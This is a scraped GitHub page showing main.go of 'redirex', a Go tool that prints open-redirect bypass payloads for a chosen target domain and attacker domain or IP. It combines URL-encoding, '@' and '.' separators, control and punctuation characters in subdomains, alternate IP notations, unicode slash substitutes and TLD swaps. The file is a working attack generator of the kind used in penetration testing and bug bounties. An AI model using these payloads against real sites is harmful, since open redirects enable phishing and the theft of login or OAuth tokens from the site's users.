-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathmain.go
139 lines (118 loc) · 4.1 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
/*redirex is a tool to generate bypasses for open redirects
run with -h or --help for more info*/
package main
import (
"flag"
"fmt"
"net"
"net/url"
"os"
"regexp"
"strings"
"github.com/dbzer0/ipfmt/src/ipfmt"
tld "github.com/jpillora/go-tld"
)
func main() {
target := flag.String("t", "target.tld", "targeted domain")
attackerdomain := flag.String("a", "attacker.tld", "attackers domain")
attackerIP := flag.String("ip", "127.0.0.1", "attackers IP")
path := flag.String("path", "", "an allowed path like /callback")
proto := flag.String("proto", "https://", "protocol of victims url")
flag.Parse()
//different ways to start a url
protocols := []string{"//", "/%09/", "/\\"}
//chars allowed in subdomains which might confuse parsers to think the host part ended (many only work in Safari)
subdomainchars := []string{",", "&", "'", "\"", ";", "!", "$", "^", "*", "(", ")", "+", "`", "~", "-", "_", "=", "|", "{", "}", "%", "%01", "%02", "%03", "%04", "%05", "%06", "%07", "%08", "%0b", "%0c", "%0e", "%0f", "%10", "%11", "%12", "%13", "%14", "%15", "%16", "%17", "%18", "%19", "%1a", "%1b", "%1c", "%1d", "%1e", "%1f", "%7f"}
//seperators between target and malicious
seperators := []string{"@", "."}
//chars that end the host part
endhostchars := []string{"/", "?", "\\", "#"}
//prepare hosts
ip := net.ParseIP(*attackerIP)
if ip == nil {
fmt.Fprintln(os.Stderr, "Couldn't parse IP")
return
}
ips := []string{ipfmt.ToInt(ip), ipfmt.ToHex(ip), ipfmt.ToOctal(ip), ipfmt.ToSingleHex(ip), ipfmt.Combo(ip), "1.1"}
hostnames := []string{*attackerdomain}
//contains
fmt.Println("https://" + *attackerdomain + "/" + *proto + *target + *path)
//% encoded
fmt.Println(url.QueryEscape(*proto + *attackerdomain))
fmt.Println(url.QueryEscape(url.QueryEscape(*proto + *attackerdomain)))
//port as pass
for _, host := range hostnames {
fmt.Println(*proto + *target + ":443@" + host + *path)
}
//mutliple @s
fmt.Println("https://" + *target + "@" + *target + "@" + *attackerdomain + *path)
// unescaped dots in regexes /www.target.tld/ -> wwwxtarget.tld
if hasSubdomain(*target) {
fmt.Println(*proto + strings.Replace(*target, ".", "x", 1) + *path)
} else {
fmt.Println(*proto + "wwwx" + *target + *path)
}
for _, domain := range hostnames {
//e.g. @attacker.tld
for _, seperator := range seperators {
fmt.Println(seperator + domain + *path)
}
//e.g. &.attacker.tld
for _, char := range subdomainchars {
fmt.Println(char + "." + domain + *path)
}
}
for _, ip := range ips {
//e.g. @1.1
fmt.Println("@" + ip)
}
//e.g. /\attacker.tld
for _, protocol := range protocols {
for _, domain := range hostnames {
fmt.Println(protocol + domain + *path)
}
for _, ip := range ips {
fmt.Println(protocol + ip + *path)
}
}
//e.g. https://[email protected]
for _, seperator := range seperators {
hostnames = append(hostnames, *target+seperator+*attackerdomain)
}
//e.g. https://attacker.tld#.target.tld
for _, char := range endhostchars {
hostnames = append(hostnames, *attackerdomain+char+"."+*target)
//e.g. attacker.tld%EF%BC%8F.target.tld -> attacker.tld/.target.tld
for _, sub := range unicodesubstitutions[[]rune(char)[0]] {
hostnames = append(hostnames, *attackerdomain+string(sub)+"."+*target)
}
}
//e.g. https://target.tld&.attacker.tld
for _, char := range subdomainchars {
hostnames = append(hostnames, *target+char+"."+*attackerdomain)
}
//e.g. https://target.wtf
if u, err := tld.Parse("http://" + *target); err == nil {
if re, err := regexp.Compile(u.TLD + "$"); err == nil {
newTLD := "wtf"
if u.TLD == newTLD {
newTLD = "ooo"
}
u.TLD = newTLD
hostnames = append(hostnames, re.ReplaceAllString(*target, newTLD))
}
}
//printing all generated hostnames e.g. https://attacker.tld/callback
for _, domain := range hostnames {
fmt.Println(*proto + domain + *path)
}
//https://attacker.tld:target.tld this is more useful for ssrf
//fmt.Println(*proto + *attackerdomain + ":" + *target + *path)
}
func hasSubdomain(domain string) bool {
u, err := tld.Parse("http://" + domain)
if err != nil {
return false
}
return u.Subdomain != ""
}